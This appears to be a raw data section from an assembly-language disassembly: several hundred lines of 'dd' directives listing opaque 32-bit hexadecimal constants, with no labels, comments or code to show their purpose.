		dd 0B25B01A0h, 0A0FFA915h, 3A55DE90h, 160020C2h, 4FC00E2Ch
		dd 0EA003EC9h, 9B4E6228h, 268752h, 2AAA764h, 72BC2406h
		dd 42E6F200h, 74117D92h, 2A8728A0h, 40FD09BCh, 0DC02F3C3h
		dd 0F0488641h, 2500E1ABh, 0CAC9F96Fh, 72D214Fh,	0F8285A7Ch
		dd 0B97280B1h, 25FC9F83h, 1C98A500h, 0E2D70984h, 9E9F235h
		dd 0BB0DB6A6h, 1EA9C80h, 0D43C46DAh, 5115182Eh,	63C478h
		dd 0CDE42B6Fh, 91058B23h, 0F0008FE4h, 0FDA39C75h, 7DFEA7h
		dd 0FCDC9BBBh, 7E3FE96Dh, 7EC67826h, 80EC300h, 3BB99D33h
		dd 861413DEh, 0BA00F839h, 3B49F26Bh, 0D64CFAADh, 7A3CF1h
		dd 27BF1387h, 0F5BF4C7h, 3FDBC333h, 701A6040h, 0D30FAD1Dh
		dd 0C04507E5h, 2363250Fh, 0B2F00B2h, 150AD1EFh,	0F890E455h
		dd 7600F5E6h, 0FB934A3h, 4C63DBh, 5C9E0526h, 0AD6C65A6h
		dd 0E2042919h, 10C41CE0h, 4E6A00F6h, 2C7A320Ch,	792496DEh
		dd 380020A3h, 0B8A0E053h, 90300023h, 0D5B7C184h, 8D04C7DCh
		dd 8E6C1139h, 89770CC3h, 80EA796Bh, 2A537FA8h, 1C4E40FDh
		dd 3AD73203h, 80ABE5BCh, 8C2F5Dh, 4051296Eh, 2688AD65h
		dd 53734C01h, 8044AA83h, 33A6ECh, 3B087A6Ch, 0B5FB5F89h
		dd 0D581D114h, 72A054B0h, 840FE0F2h, 0C4E627BDh, 1890F6EFh
		dd 1D4215Eh, 0FDBE9967h, 0E472235Fh, 70007C13h,	7351038Dh
		dd 1D5CD14h, 0A90E83DBh, 0E86BD18Ch, 600CCEAh, 3C0F2B1h
		dd 79FCBA5Ah, 0ED7D9Bh,	0F6E29740h, 8A2E0817h, 5D705700h
		dd 1CDFE855h, 7BDE0083h, 0C251F1DCh, 849852BEh,	29B8A401h
		dd 0FF9A7D5Bh, 0B8CE07D8h, 0D1DC0EA5h, 1D009031h, 71D37357h
		dd 9622BD00h, 934F2AD4h, 20F85C43h, 0C4800D00h,	0E5EB8470h
		dd 0E5B048h, 0DED9A5DFh, 31489Bh, 0EEB3DCE2h, 328F6022h
		dd 89A196EBh, 2017310Fh, 0AA36BF59h, 57D40077h,	8AC23D66h
		dd 0CD050ECBh, 0ED2B74F0h, 393218C1h, 771E3EF7h, 47F0800h
		dd 2E37B18Dh, 0DF9AD509h, 1A20806Eh, 1D99A159h,	0F9F8DE19h
		dd 0E70083B8h, 500EEA58h, 30006CB3h, 0F6DB61F5h, 2C84241Dh
		dd 354DA69h, 5546049Ch,	15D41E00h, 7FD353E3h, 0F4F008Bh
		dd 5D7733CBh, 0A0A0A4FAh, 51002A74h, 0D3F49B01h, 19A821Ah
		dd 6B64678Dh, 21029F97h, 1EC7F040h, 0ABCF2316h,	193D7804h
		dd 0C82A7DC2h, 8937314Ch, 0E490755Fh, 8D12C55Dh, 8E000721h
		dd 0DDA72509h, 0CA3E0016h, 7FCD2FC8h, 6A7B0E3Fh, 73598900h
		dd 0B8A70A2Eh, 2F3B1F54h, 707FC0E1h, 0EDBC9DD3h, 9E18CB00h
		dd 0B0FB367Ch, 0B8904Eh, 9AF8D7ACh, 3A5F2170h, 338D5D00h
		dd 0EDB1BC2Bh, 0B552003Bh, 0D2B75C40h, 0AC167C87h, 580101E4h
		dd 0E87BEC49h, 0C81C83FFh, 7FCF7Ah, 5EEF4A6Eh, 6392EBA0h
		dd 0F01EFD00h, 0E2A52B10h, 0E4E6589Eh, 2271B100h, 819511BBh
		dd 3AEEDB12h, 8D492C40h, 21F641h, 36E43EF7h, 2BCF4654h
		dd 0A54BAE00h, 0FE80710Bh, 91AA01C5h, 0EF3F5A28h, 7B0DF054h
		dd 22005770h, 16EAFDA0h, 393B7086h, 98002A61h, 0FCDF718Fh
		dd 7800C1CBh, 47600C09h, 128E3610h, 4F62B59h, 8C406E89h
		dd 9C3F511Ch, 59545CA7h, 0DE200D0h, 0ED598DE8h,	1DBF0540h
		dd 0D048A276h, 0BC161450h, 186639h, 0A9D2824Eh,	0E8F2F8Eh
		dd 6012FDC5h, 0A0CBA480h, 7D3B4E9Fh, 0C138000Dh, 0F52F53BBh
		dd 445C0073h, 4778C56Ah, 0DC06DE8Fh, 9B6F9DB4h,	0E71D2E60h
		dd 47988080h, 0E3D305CCh, 0E6772702h, 0C0AE8622h, 0F86D2F5Ch
		dd 0F57BABh, 8C90AD2Eh,	0CF065AC0h, 27868F00h, 3641800Eh
		dd 0D6340044h, 42FD6102h, 0B01BA7Eh, 4E247C99h,	4BD073F6h
		dd 105C9A6Fh, 17335F84h, 240F2760h, 0FA8FC0FEh,	25B92Bh
		dd 1FEB9688h, 0E6437207h, 77044FB0h, 1905C7FEh,	47509480h
		dd 57B80501h, 0E27A81Ch, 807F8088h, 0ED835559h,	1025848h
		dd 0D05DABA2h, 0CB0498Eh, 0AF443906h, 334224B7h, 0BAA80E01h
		dd 0FE604C2Fh, 0B5F01776h, 675C4703h, 0C030082Bh, 157533Bh
		dd 41E3EB1Ah, 578CF418h, 46CDA0A8h, 0D0E79DDh, 3EF0CCh
		dd 0C0586313h, 0FACF76C2h, 0D0864DF5h, 2E5E8701h, 3099A017h
		dd 4F00314Dh, 5CBE9E3Ch, 3E47D0h, 730919C1h, 0FB0880DFh
		dd 8015A125h, 0DA0C444Ch, 0D870809Bh, 8DAF7516h, 0F3C9451Eh
		dd 7AE800A8h, 57E1E6h, 55C4443Ah, 10F59233h, 90932009h
		dd 0D44001F4h, 70C0D579h, 143317CFh, 0E27169Ch,	20801688h
		dd 0CBDE1FE0h, 402E58h,	1DE724C0h, 0D46E3Fh, 120C66E8h
		dd 8CCDF3F4h, 0C9A37700h, 5BBFCEB8h, 0B40E0AA0h, 6B01C7Eh
		dd 68B1AC3Ah, 19420B64h, 1E1F7281h, 0B0E335C5h,	72DB2EB6h
		dd 7998C9h, 0B752C042h,	54A48A95h, 9DF62609h, 0B13F8066h
		dd 1E0BBE28h, 0C00FC8E8h, 0B97302AFh, 88000E7Ch, 212D119Bh
		dd 0F8344D2h, 0C8F0ACBDh, 5303B86Eh, 98002A2Bh,	0DD5113ADh
		dd 1505F18Eh, 903F1F86h, 3D267A00h, 1C632D46h, 64360F00h
		dd 0C48DF85Ch, 513207B4h, 601693A3h, 0AA96B9BCh, 803D9E00h
		dd 0F02E2355h, 0E67B0063h, 4636C6B5h, 0E83877F6h, 0C5A000E7h
		dd 0A90C3587h, 0D3B72ECAh, 18AF00E7h, 1B1D2120h, 1ABA4500h
		dd 0B30FE667h, 19E2DCh,	51958B16h, 2DDF4BF2h, 6755A100h
		dd 0D9E84779h, 2AC32E2Bh, 88D80E66h, 870BDDC5h,	0E0379784h
		dd 0B1431BD3h, 2A6A0500h, 942757EBh, 0A1A9097Eh, 3C0A7510h
		dd 3D120720h, 0EEB641D9h, 252874F7h, 9C390A04h,	44A0CF19h
		dd 0A80F03A3h, 9B7F97A5h, 6D1D1AE0h, 6A747500h,	6F8EBB5Bh
		dd 9150C098h, 82ACEE9Bh, 95C40D05h, 0B080A5B4h,	0D96BB1h
		dd 0B8DAA778h, 0BE5F9A7Bh, 34111B1Ch, 8104B86Ch, 58816E60h
		dd 9C303FA5h, 0D0639FEh, 68053E81h, 21EB9747h, 4B64F85Fh
		dd 0C984C000h, 28B27FC8h, 674600DDh, 0E0588EB9h, 0B8C0F004h
		dd 90B58C10h, 844A0E45h, 9102A362h, 7B6053C1h, 8D48DE82h
		dd 689226DCh, 0F71D8180h, 39A7C78h, 0E721FBECh,	0D8D06EB7h
		dd 7700C18Ah, 49D1B4ADh, 912E4BEh, 0E2F1D537h, 8835CC24h
		dd 6C175E24h, 6100A9CBh, 0F6200F15h, 62640068h,	1DC3E330h
		dd 5800F165h, 4B769181h, 0CE5AB1BDh, 1E8725C8h,	9CA3B0D8h
		dd 0CC30C53Eh, 48E361ECh, 0C8040B3Bh, 0B10087C1h, 538EB8CDh
		dd 1BC92000h, 0D509BAE5h, 5DB300B7h, 0A17226DEh, 48FC1598h
		dd 72C8E4Ch, 6994093Bh,	0E0B85DA2h, 2DEBEFCh, 39E51C2Dh
		dd 10E3EE24h, 1552AF0h,	0DC824800h, 0ED5227ABh,	0C4670086h
		dd 0CB37CA61h, 780028C6h, 1E20C6Eh, 3CFE8ED9h, 4680BBBEh
		dd 44DB8DB9h, 10000B06h
		dd 52F421D3h, 780A1FD1h, 514F0058h, 0FCFA89E8h,	0BA382F0Bh
		dd 4A9F80F5h, 5F6C754Dh, 211000A2h, 0BC7419C3h,	46306637h
		dd 0FE282829h, 0C9C4051Ch, 11FABFAFh, 271C90F6h, 44CC893Bh
		dd 0D3C870A0h, 571EB794h, 95803A2Dh, 4D174C6Ah,	0A1F600E2h
		dd 0D53E9F8Bh, 3F03A75Dh, 5F1CDF96h, 0E0A5BB61h, 30ABC384h
		dd 0B5105B15h, 0FD139C86h, 0FC021496h, 9DF4D3h,	1369C7DFh
		dd 3E5A0F02h, 40B14F58h, 0C82A70h, 0D40AD5AEh, 0D332065h
		dd 43E5FB05h, 98C08D07h, 1FFF512h, 0B3C4E6D2h, 0E4293D19h
		dd 31E84F8Fh, 0D8C8A300h, 0C2A1D5CBh, 0A4374817h, 292AB26h
		dd 34B70BF8h, 7DE92C68h, 2CE29B00h, 0EDBD3E52h,	0BE1D0051h
		dd 56617221h, 4200336Ah, 8A169069h, 0D35DAh, 49730B4Fh
		dd 0C7532E80h, 32F8C200h, 0E457915Ah, 10930446h, 8290AB99h
		dd 0F060CF8Fh, 490F449Ah, 40B337B9h, 284AEC87h,	692B00F9h
		dd 0C3A3C5F2h, 0B9001274h, 0DC86956Ah, 0E90E34h, 8B53E9Bh
		dd 794E9824h, 7B5E0103h, 0B87D8EC2h, 1E377F0h, 71D80282h
		dd 0E643E46Fh, 9592E880h, 76247014h, 5600BBDAh,	297DA1ECh
		dd 0FEA0058h, 0B9C8F7E1h, 0AB007521h, 8914AED7h, 1586280h
		dd 0F07B4EC4h, 0C45D7F8Fh, 3D034659h, 0D384764Dh, 0C431A913h
		dd 0F3D2F4h, 17C19DF7h,	0E2AF5F91h, 55643E00h, 85B41CD4h
		dd 4B9604BDh, 80423A50h, 3810D51Ch, 0DD135800h,	637F5B9h
		dd 8B9B00A5h, 6AF77914h, 900005D3h, 0BAD24C12h,	276B75Dh
		dd 0AD89F97Eh, 53405593h, 461C0BF7h, 9C12B018h,	0C5862400h
		dd 49849F69h, 0C700603Bh, 0A2F85A9Eh, 0B4092632h, 83D3CC6Fh
		dd 0A0D8E76Ch, 623B93h,	342C3C6Dh, 714CF18Ch, 5D72C600h
		dd 5E7006C0h, 0ECB83Fh,	0EA12CF69h, 0CA28824Bh,	0D263D600h
		dd 0AF656054h, 2AE8F2h,	9E2F5D34h, 7269DF76h, 4AE7E300h
		dd 0CA074C51h, 62EA4885h, 0C5C23D00h, 5F359B32h, 82F63Fh
		dd 0EA41660Dh, 3C39BEh,	0DB85CB6Eh, 55ADB278h, 0B9899500h
		dd 0D5603574h, 4D470040h, 4A8B7C41h, 0C400695Bh, 0F02A820Ch
		dd 0E59D8Ah, 0B5472B11h, 0DA461993h, 0B33ACD00h, 0AE8E54B9h
		dd 4D20EE9h, 28E194D0h,	0F0ECEA82h, 0E101163Ch,	0A57E7BF0h
		dd 5AE55CDAh, 2412B8E7h, 4C8507FCh, 0A03BDF39h,	8340BAABh
		dd 74F16E00h, 0CB5B983Eh, 0FBEFA79h, 0C607EB60h, 4A00052Eh
		dd 417163BCh, 0FD00C975h, 10CF731Eh, 75C7D0h, 6E46C3EFh
		dd 0F26C1430h, 5C213A01h, 0C5E7E079h, 6DC4F0h, 2224948Ah
		dd 0BA5048AAh, 0E4256200h, 0FCB39126h, 351C0056h, 0B0AF6751h
		dd 0A53A18F3h, 4B1480CBh, 0CAC792B5h, 3CEE0039h, 0BAD8502Ah
		dd 0C009AF2h, 1DCC7CEFh, 30E5D4Eh, 706AD34Ch, 0DCF8AA53h
		dd 0EE016B3Fh, 438D6921h, 0C85013BCh, 4A8C7BFFh, 317E00E1h
		dd 0E9D934B9h, 2BC32307h, 6B9202h, 0F35D1313h, 51AF480Ah
		dd 0C045700h, 0F8FFF1DBh, 0BA5C9900h, 0C3A5EA29h, 52E40D4Ch
		dd 2060CF70h, 8A00CE78h, 428337ACh, 186CEF20h, 20A46E73h
		dd 0A978D0B1h, 11EA8D33h, 0C751C040h, 0CEDA3E67h, 233C3B80h
		dd 0F3FE2B18h, 2D81D02h, 40C89F64h, 167FD468h, 0EB1A6FFh
		dd 3D8045BCh, 182CF7FAh, 0A4601C98h, 0CF593E50h, 24433195h
		dd 3B8319F9h, 0A2C82FA0h, 36694010h, 66EF7005h,	0A0AB2919h
		dd 25A26C05h, 0C031D06h, 78830599h, 780A00E0h, 4888AA36h
		dd 700026CDh, 0B540AC7Fh, 37C5F8h, 67EDB71Ah, 0C9903430h
		dd 2A008670h, 0FD2E722Bh, 5E56A8h, 0E842E516h, 85583FA0h
		dd 2EB8B00h, 0BDD1FF77h, 0D3D90739h, 408F16CBh,	0F83720C3h
		dd 0AE00E2FEh, 3915FB07h, 1167EB5h, 2191D7EBh, 0CCE7D256h
		dd 0F300FF24h, 3FD6F649h, 0BEC8031h, 0B2C0B942h, 0D12A7786h
		dd 628C9A1Ch, 6BC900FDh, 23645416h, 1DF7F4DFh, 9FF458A6h
		dd 7CEE8F70h, 7E5B2000h, 1700ED3Eh, 0FE2F0B3h, 16DCC43h
		dd 96CD9A2Ch, 0D3092D74h, 0C6FD601Ch, 0F48A1BC0h, 0F6CD7DBFh
		dd 0BC730005h, 5F3013D7h, 0F0701D2h, 0A0C0CE07h, 0C781B650h
		dd 53683C52h, 61954684h, 4F6EC08Bh, 25318CB4h, 3955290Eh
		dd 12655811h, 0C543122Ch, 0C6492911h, 11781B11h, 0C2119238h
		dd 40DD3BF1h, 0D7DBA05Dh, 0D3F008Fh, 0FE8967CFh, 0E400153Eh
		dd 1FECB574h, 1F62AC6Dh, 0C01BA7E3h, 7FF19F4Ah,	4B072B19h
		dd 0C80DB17h, 0FDFE77D0h, 1C90F68Eh, 1C222E8h, 0ED9E9CE0h
		dd 0DA4CDC06h, 1E00C6E2h, 0CEE1551Bh, 75C4D5h, 0AFEE1C66h
		dd 0FB11EDA2h, 46184E71h, 68745825h, 2C7500F0h,	3B569744h
		dd 7707CDE6h, 0EFB95D6Fh, 0FD71F780h, 0E01400DCh, 600C7B88h
		dd 0BD00CB9Ah, 29748F18h, 39C37E9Fh, 0AF1F1AD5h, 32CA4063h
		dd 2FD04A3Bh, 0F04EFC00h, 33B91372h, 0A9D6001Fh, 0F8582CAAh
		dd 5B58873Dh, 78D10004h, 767D0A70h, 74053FD2h, 7A7C9780h
		dd 0E76F5ABEh, 0FBF36D00h, 64B75E94h, 3A8401C0h, 259251Ah
		dd 28B04095h, 7A00CC0Ch, 0BD61FF9Ch, 7949EFh, 31F071C9h
		dd 864E9AFAh, 6CE04012h, 0FF336500h, 0F94743h, 0FE23C197h
		dd 0A187B224h, 19003498h, 66E46E98h, 76D00DABh,	37910B62h
		dd 7980FACCh, 7F857B17h, 559FBA00h, 0BC7022C1h,	404303FEh
		dd 0ED3B6439h, 19C8C203h, 75651209h, 0EFBB00E0h, 0CAD15CE7h
		dd 97054535h, 0E6FD180Fh, 98CFBA00h, 0F639C50Ch, 0B8DE00F5h
		dd 38051942h, 7F01ADF8h, 0DC9CC191h, 40F85927h,	0D1031F1Dh
		dd 0EED64613h, 67078852h, 0B6F2AD82h, 0BDC344E1h, 180DE0h
		dd 130864Fh, 260C8B46h,	64955907h, 9212873Fh, 58E6C0E2h
		dd 44A8C07Bh, 745D67A1h, 4066BD00h, 0B857AC2Dh,	0C272004Fh
		dd 47163A8Fh, 120056BEh, 51D368A2h, 2EFA90h, 0BDCA580Eh
		dd 23F63648h, 6E43D700h, 4F453E6h, 0B62900BFh, 5C0D57Dh
		dd 8F2F318h, 241C6500h,	352BB8EBh, 84BA003Ch, 0F72D9C30h
		dd 0FC001EDBh, 0FE552840h, 24EC0B5h, 4271B9D6h,	8440C78Ah
		dd 7CB09E6Fh, 8C56F001h, 3E921377h, 0A232D4h, 0E5CDF57Ch
		dd 0F963D402h, 0C016B31Dh, 0FA9717C0h, 0EA2558Bh, 8A2A6CB4h
		dd 0C79FA780h, 0C600FBF1h, 0E2831AB1h, 31F10h, 0D13B7F82h
		dd 22F60B87h, 0AEB0F900h, 674AFBD9h, 49060124h,	0BEC58213h
		dd 692FF068h, 52990A13h, 96C8003Ah, 3963B660h, 0C880F7CBh
		dd 51331777h, 37009032h, 3923193h, 0FAEAC0h, 0D797EBE0h
		dd 915A35FEh, 0EE4C4F07h, 796065F1h, 0D8F91Ch, 0C1144A2Dh
		dd 0FFA02E19h, 0AE2ABE01h, 0FD9A8339h, 901F208Fh, 11A867h
		dd 801730B5h, 94003E72h, 224C3755h, 0EDD35Ch, 1CA6245Bh
		dd 0C359BDCDh, 0F256D800h, 0E9DE3C95h, 96F801BBh, 93DD17Bh
		dd 97E440A8h, 0AE0EE45Eh, 0E08B598Ch, 5F31AC67h, 1F723070h
		dd 0D9CF1548h, 220BD000h, 5A7A2A26h, 8B60005Bh,	4B3FE9ADh
		dd 0A2B00809h, 673BE477h, 7FC414F4h, 0B858C4h, 19722184h
		dd 0A5F713h, 1F7DE0EFh,	0E14FF6D4h, 0AF74BDE8h,	678E7C1Eh
		dd 2DDBC580h, 77FF210Ch, 10CF607Ah, 0E33183D2h,	85081400h
		dd 64F7A1E1h, 4EDE30BCh, 0F9075620h, 0E6725D00h, 7E9711A9h
		dd 35CF24A6h, 1C2F12C9h, 1821C188h, 812E85D8h, 8754BD10h
		dd 0AC5F13Ah, 0F6B5E0h,	8EDE6F83h, 0BAAEAC2h, 0A84EC300h
		dd 88704451h, 8F3D3D19h, 0FD28B480h, 76748B7Eh,	0E453E700h
		dd 69C6ECFAh, 10D5006Fh, 0D15EAAE2h, 33D598Ah, 5D6D97CFh
		dd 3D007512h, 0A1145A38h
		dd 0B5200E29h, 2BE2480h, 1123BFAh, 27CAB980h, 0A41D8C19h
		dd 0E5DF7774h, 0D882A6BEh, 2B353200h, 4C2F1Ch, 33A4B420h
		dd 3F348E04h, 2C46CE0Eh, 0ADDF006Fh, 0B0B44C89h, 0DA270089h
		dd 2FAA7FBEh, 0A900F435h, 1A302054h, 4C06B0F7h,	0D918D8E5h
		dd 0B4F2F222h, 8044123Ah, 4318CA3Bh, 26419C02h,	8EA40396h
		dd 4D27B29Fh, 0D26AE0D5h, 480187F5h, 85141B5Ah,	0E4535B3Fh
		dd 0B26AE0D3h, 0D5C34056h, 7390F500h, 41DA7465h, 95F605h
		dd 0CD0FBA36h, 49ADE1CEh, 4217EA03h, 0F1BEFB89h, 1C87006h
		dd 12BA02D2h, 482496A9h, 258A8560h, 0F764AF00h,	0EE7BDAAh
		dd 728D00FAh, 0B71BCE2h, 0EF1D5DA9h, 198078B1h,	693E238Eh
		dd 0C81A0F36h, 0ADA01F15h, 81252C50h, 0E976A10Eh, 0FF2F40DCh
		dd 125FA5C5h, 7477CEh, 4E45AA64h, 8639C78Eh, 0DE92835Ah
		dd 98CD91F7h, 38A18C43h, 27BF2458h, 0C4C27E00h,	77991741h
		dd 7300E1EEh, 37DF92CFh, 9F16FBDh, 7522233Ch, 589A2881h
		dd 0FC3378h, 0AC1B525Ah, 0C2308Eh, 72551982h, 0C3909C7Fh
		dd 9068DC30h, 59087D78h, 0E01FE038h, 6E9E00DDh,	2D48A117h
		dd 1EFEC0Bh, 0B93C81C6h, 2EC004CAh, 0DE4700D8h,	0DF6B9ACFh
		dd 0BE001BACh, 0F8E86713h, 0B0B1E9EEh, 771EFA06h, 34AA0037h
		dd 0DD83CFE5h, 8B03442Dh, 80E9BC8h, 0F8C19548h,	8080661Fh
		dd 35BAA1BEh, 0D000F2C9h, 8C9E0623h, 4F81BDh, 10CCAB67h
		dd 5DAE02F4h, 0EC7F3300h, 5EBBEADBh, 0CD3B009Dh, 324834D4h
		dd 8D05A513h, 0E97A629Ah, 0C0F0F40Fh, 0DB1F2837h, 384C483Ch
		dd 0F9D8F104h, 2A2880C4h, 4238DA36h, 96BCFEh, 0BA871B53h
		dd 0BD12EEh, 83B1F220h,	0C2C35CC4h, 0BC09707Bh,	2053173Ch
		dd 935F8B50h, 414001A2h, 6133E511h, 70B0430Eh, 241E9D89h
		dd 60015D00h, 8BAD6E52h, 0AC40C7CEh, 0F83A414Fh, 0E85F0537h
		dd 0C0708072h, 7A7E7545h, 0B429601h, 5C12C445h,	30F4DDCh
		dd 435BA7BBh, 7CC3F910h, 2B889ABBh, 6C001104h, 5D8825A6h
		dd 5CCD1EE0h, 905DB16h,	8057BEE8h, 0B4AA4872h, 46C2C917h
		dd 0FEEE00BAh, 36F040E4h, 0DDBB3200h, 0F516EA51h, 1AE100ACh
		dd 119F3B7Eh, 0AF03D083h, 0BF9C4ED4h, 42D00075h, 3267E58Dh
		dd 5F03DDEFh, 894F44D5h, 0C450B7D8h, 0B3C599h, 373F1FBDh
		dd 0EFE63E4Ah, 74E26100h, 2ADA3B7Bh, 75FF0F10h,	0B8424878h
		dd 6840893Eh, 0B10A9612h, 0A4F4B567h, 5DC60D00h, 0A0073DAAh
		dd 71051AC2h, 0FA323843h, 0E3906280h, 97AA5066h, 3C506358h
		dd 72B98073h, 0E456AE08h, 0B05C4Ah, 0F7E81F00h,	144C6F9Ah
		dd 5C2B5B02h, 0E0439FEBh, 0FCC19Dh, 0F6CD1980h,	4234D53Eh
		dd 6C9B000h, 934ABDF0h,	2ED7537h, 4D0EFD2Dh, 815F756Bh
		dd 5B1BAD3Bh, 7B9720h, 0C383C1F4h, 0A65F9039h, 0A92D8404h
		dd 74806198h, 1CAAE852h, 0D75162F8h, 1F120091h,	0CBF3C463h
		dd 76435F00h, 0ACC2F699h, 60F2E7h, 8D117FEAh, 0EB7A4E1Eh
		dd 8007D03Bh, 0CC127194h, 90F53427h, 0FC4C1374h, 9DB460D8h
		dd 0DF14A746h, 9DC9FBh,	0D6AC7ABFh, 266951E1h, 32089BC1h
		dd 0B484F5D0h, 5F63126h, 0C70E90E3h, 0F1E0A84Bh, 0F33F85Eh
		dd 0BC27DC54h, 2EFE7300h, 3200A834h, 0B985E0DEh, 31BBDCFh
		dd 7DA1E65Ah, 0D000C802h, 0BC085653h, 327F10Ch,	963CE7F0h
		dd 0C6B81F46h, 0D7003EA3h, 0DE334B21h, 94533DC9h, 0B68400BCh
		dd 0B3763F5Dh, 0DC5C5801h, 7BCF8B51h, 90ACC970h, 1C410000h
		dd 8ADDB156h, 901C88A4h, 9E008FC8h, 0D8A7650Dh,	74B700CEh
		dd 8A3A3354h, 27003BB1h, 0FD2CD0A4h, 76685D1h, 0FA290A94h
		dd 3756C024h, 0B700F12Eh, 0A80BE6B3h, 1F892B04h, 40C73D86h
		dd 82CCFA3Eh, 4D030F6Dh, 3CBE65BDh, 0F400C7FEh,	492B64h
		dd 0D1DCB547h, 0FB1C4D40h, 0E4F11F00h, 84E05EE1h, 9B4204B4h
		dd 0E0DD07E3h, 3716AC49h, 0FA005FF7h, 47ABEF1Dh, 0F6BD0061h
		dd 0C5074640h, 29C1C8EBh, 66A17D4Dh, 6AD439D1h,	83072E1Eh
		dd 8B2F00CEh, 5B6F7A34h, 0BC316201h, 7F26F7FFh,	80CB2B71h
		dd 1E7EA399h, 0C0A81957h, 40A71A34h, 0AA3B3759h, 158D807Dh
		dd 2038EB2h, 70C60020h,	2E71E1A5h, 40E4ACD0h, 894A48h
		dd 61352ABAh, 8F8E99h, 7B47920Fh, 4C3D24BFh, 5E024BEEh
		dd 888A0426h, 9B96E0EFh, 13690009h, 0B8058564h,	220798A3h
		dd 150D2E48h, 21419E40h, 31820080h, 4B8CB158h, 9607177Ch
		dd 0E5611209h, 1F6BC1B0h, 3FED0059h, 0C6F84C72h, 100E6FAh
		dd 9E306DF4h, 1CCFABh, 27893286h, 4FDA9528h, 0B44A9400h
		dd 6B71853Dh, 8CA80980h, 3F801BC1h, 8EA8BFEh, 0D5557300h
		dd 62019AAEh, 70A10057h, 0A4ED6E21h, 2E3B2F48h,	0CB7A8028h
		dd 35DA4A1Ch, 465E0063h, 0ECC402D2h, 900213B4h,	58FCEE74h
		dd 0DEDCA1F7h, 3E0790Fh, 249212B8h, 0A5300108h,	0DCB4E7CBh
		dd 82F2D629h, 944A843Ch, 0D8C012h, 0F8BF85D3h, 1D37AB04h
		dd 4CE3877Fh, 12E8FEC8h, 55EB4600h, 58C266F9h, 86060FD4h
		dd 3CA01682h, 0C023C4D5h, 976E8700h, 8CF67C6h, 0B2692406h
		dd 1C3F173Ch, 54C085FBh, 689B00B0h, 0D79C7DFDh,	0FFAFA100h
		dd 3D7BC274h, 85F30071h, 0F70F9E49h, 0DC036777h, 548AA4EEh
		dd 6D53A9E1h, 11213FCh,	0E9D0EF71h, 209A8620h, 6700F434h
		dd 381BBF27h, 1A7C6h, 0B4952C10h, 391F969Dh, 89AD1900h
		dd 0CD569920h, 0AF3C3FD6h, 73B93h, 0A2A4C660h, 2D00022Bh
		dd 7D6993CEh, 858497h, 0ECAC3B37h, 31EDF6B0h, 0FAC8091Fh
		dd 8AF2BFA8h, 49A14F05h, 89C0196Dh, 16C99F3h, 0CCBCB2CDh
		dd 22A6A86Eh, 58430080h, 5F2EDC8Fh, 3E2F29Bh, 0E50287D7h
		dd 17D8C92Ah, 2007468Ah, 0B3619E25h, 0A85AD300h, 2F390676h
		dd 909DBDB6h, 5E6E6900h, 54BA1A47h, 0E83A00BEh,	0D9F662B1h
		dd 5704B578h, 72E4404h,	7141A0C1h, 6AAF30h, 0F36C0C5h
		dd 384EBE28h, 0DFAADE00h, 55BB27ECh, 15CE0398h,	28BA31C9h
		dd 0A6757CD0h, 0B204A05h, 0A10961BDh, 69080003h, 3F4C0Dh
		dd 0C293CB0h, 0DF05F3D9h, 2CF0D817h, 58CCED03h,	91C7A093h
		dd 0C6DC0596h, 0DBE1F2h, 9CBC510Ch, 8C021DEh, 0D33B1338h
		dd 0F05C37A1h, 6EF30060h, 0F60080CCh, 0CFCAF46Fh, 61941539h
		dd 9FA720BFh, 2E776191h, 902DD83h, 72D87F99h, 0E2E80820h
		dd 0E500A824h, 9AA22342h, 8A53DBh, 5B08EB3Eh, 108CC89Bh
		dd 0EA0367E6h, 0CA32C973h, 60E680DCh, 11ED006Ah, 1FB172B3h
		dd 0B2240DB0h, 400ECEEh, 0F2D0DAF4h, 0F3CA0AAh,	7267446Bh
		dd 0E2A9820Eh, 7324A2ECh, 9BD46BB3h, 0FF380F18h, 0B18A60EEh
		dd 6F0170Ch, 0B09AE889h, 237AE700h, 818BE57Fh, 0F268A02Eh
		dd 8538A0ABh, 89100B7h,	87A7F907h, 0DFE23CFFh, 2803BC70h
		dd 736A7060h, 9559A844h, 7BF8EC4Fh, 5430074h, 4D711ACEh
		dd 3200E964h, 2C9D5178h, 0DC195Ch, 14247A98h, 8D6D5297h
		dd 0D7F89C0Fh, 48408089h, 0FD9E69Dh, 72A68645h,	224D1600h
		dd 9A787632h, 0A71CCAFAh, 1CC07AE5h, 0FBA4337Ch, 0B4380750h
		dd 1046BEA1h, 0B03B1978h, 0D9CDDB03h, 0C8182E88h, 0CC588Eh
		dd 0BCADF586h, 5A059593h, 7A06D09h, 0D4082091h,	3FBAC3Ch
		dd 3513A3Bh, 8373373h, 0FFA0218Ah, 88AEACh, 9A47282Dh
		dd 1FD24067h, 5939100h,	0F9CFEB3Bh, 17733814h, 0C0C84314h
		dd 0D0B64980h, 0EA74EE35h, 0C2667173h, 721E208h, 7ED10E2Ah
		dd 0C87C500Fh, 0CA07A93Bh
		dd 9AEDEAA3h, 80AC6B81h, 6F458880h, 0EF645018h,	47F499C7h
		dd 71DC11D1h, 8D1196h, 0A2E54981h, 0F21DF024h, 7518232Ah
		dd 5C3421h, 0B5612640h,	89E7FE1Bh, 0C01FFF02h, 97EF6566h
		dd 808E1128h, 0C212C09Bh, 0AA1C0707h, 0E122966Ah, 40437775h
		dd 569B3BB8h, 730D2603h, 0F23FD5ACh, 0A3C4A494h, 0FCAC4B60h
		dd 11223B23h, 0AE3C80h,	0A56A30ACh, 0C1C22C15h,	0AF3F1DB0h
		dd 0EC8C4046h, 2B980BA6h, 6A081400h, 1B4B1390h,	0B62600C7h
		dd 2C5C50F5h, 0C917AD2Eh, 6918734Ch, 8CDAECh, 105193EFh
		dd 0D0B7355Fh, 9F8B5600h, 2B2D1A5Ah, 244C009Eh,	5B755061h
		dd 1D0026C6h, 9BF72CDCh, 7618A27Eh, 0B87A5Eh, 788B6C50h
		dd 0CD814496h, 4B145661h, 0E960F7B5h, 495E0F85h, 0B300629Ch
		dd 3B64143Dh, 3452E300h, 6856CFAEh, 0EA80299Fh,	9F3CE220h
		dd 18D03230h, 0B8B9F4EDh, 840B57DCh, 81511F5Ah,	8C35F815h
		dd 0D1C9088Ch, 0BF047C20h, 0AB42885Ah, 0B58F43C0h, 0B0693059h
		dd 12F0B771h, 7661991Dh, 53B99803h, 0C20830DAh,	99EA8D21h
		dd 0D62E887Dh, 0EE00A2D3h, 85CEF978h, 0F3A0A923h, 0F59F3840h
		dd 0E4BC005Bh, 9674877Eh, 0AA00E9DBh, 0FD60FF24h, 4F3C39h
		dd 2354F359h, 27D0CB95h, 0D1257831h, 28204D80h,	0C6BCA855h
